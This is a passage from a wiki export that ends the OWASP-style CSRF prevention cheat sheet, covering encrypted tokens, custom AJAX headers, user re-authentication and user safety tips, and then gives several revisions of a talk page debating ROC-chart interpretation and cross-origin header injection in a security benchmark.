On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.

This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.

=== Protecting REST Services: Use of Custom Request Headers ===

Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.

A particularly attractive custom header and value to use is:
* X-Requested-With: XMLHttpRequest
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].

If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.

This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)

= Alternate CSRF Defense: Require User Interaction =

Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).

The following are some examples of challenge-response options:

*Re-Authentication (password or stronger)
*One-time Token
*CAPTCHA

While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.

An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.

* In Step 1: the user provides the email address and the amount of money they want to send.
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.
* In Step 2: the user confirms the proposed transaction.
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.

This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.

= Prevention Measures That Do NOT Work =

For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].

= Personal Safety CSRF Tips for Users =

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include:

* Logoff immediately after using a Web application
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing).
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit. This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually.

Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

= Authors and Primary Editors =

Dave Wichers - dave.wichers[at]owasp.org 
Paul Petefish - https://www.linkedin.com/in/paulpetefish 
Eric Sheridan - eric.sheridan[at]owasp.org 

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:Popular]]

Talk:Benchmark

2016-10-20T17:51:35Z

Eelgheez:

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario. But <s>(a)</s> I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability <s>and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).</s> --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.

:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. ([https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests Simple requests in modern browsers] seem to be allowed to manipulate 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request. Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)

Talk:Benchmark

2016-10-20T17:49:25Z

Eelgheez:

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario. But <s>(a)</s> I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability <s>and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).</s> --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.

:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. (CORS seems to allow manipulating 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request. Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)

Talk:Benchmark

2016-10-20T17:49:12Z

Eelgheez: /* Request headers in XSS attacks */ emphasize my doubt in Referer attacks

== The meaning of the diagonal ==

I don't think it's fair to call the diagonal line in the FPR/TPR chart a "random guess" line. The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN. The FPR > TPR area below the line does not put the tool into a "worse than guessing" shame list. The formulas suggests a different interpretation of that area, "the noise rate in reporting non-issues exceeds the sensitivity about real issues".

The "worse than guessing" interpretation seems to come from the following scenario. We have ''n'' real and ''m'' fake vulnerabilities. For each of these vulnerabilities let the tool (or a monkey) decide if it is real. I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)

== Request headers in XSS attacks ==

The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario. But <s>(a)</s> I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability <s>and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).</s> --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.
:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. (CORS seems to allow manipulating 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request. Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)

Talk:Benchmark

2016-08-05T20:00:38Z

Eelgheez: /* The meaning of the diagonal */ follow the meaning of FPR and TPR instead of attributing misunderstood meanings

Talk:Benchmark

2016-07-26T01:34:55Z

Eelgheez: /* Request headers in XSS attacks */ new section

Talk:Benchmark

2016-07-14T01:34:19Z

Eelgheez:

Talk:Benchmark

2016-07-14T01:31:27Z

Eelgheez:

Talk:Benchmark

2016-07-14T01:28:04Z

Eelgheez:

Talk:Benchmark

2016-07-14T01:24:12Z

Eelgheez: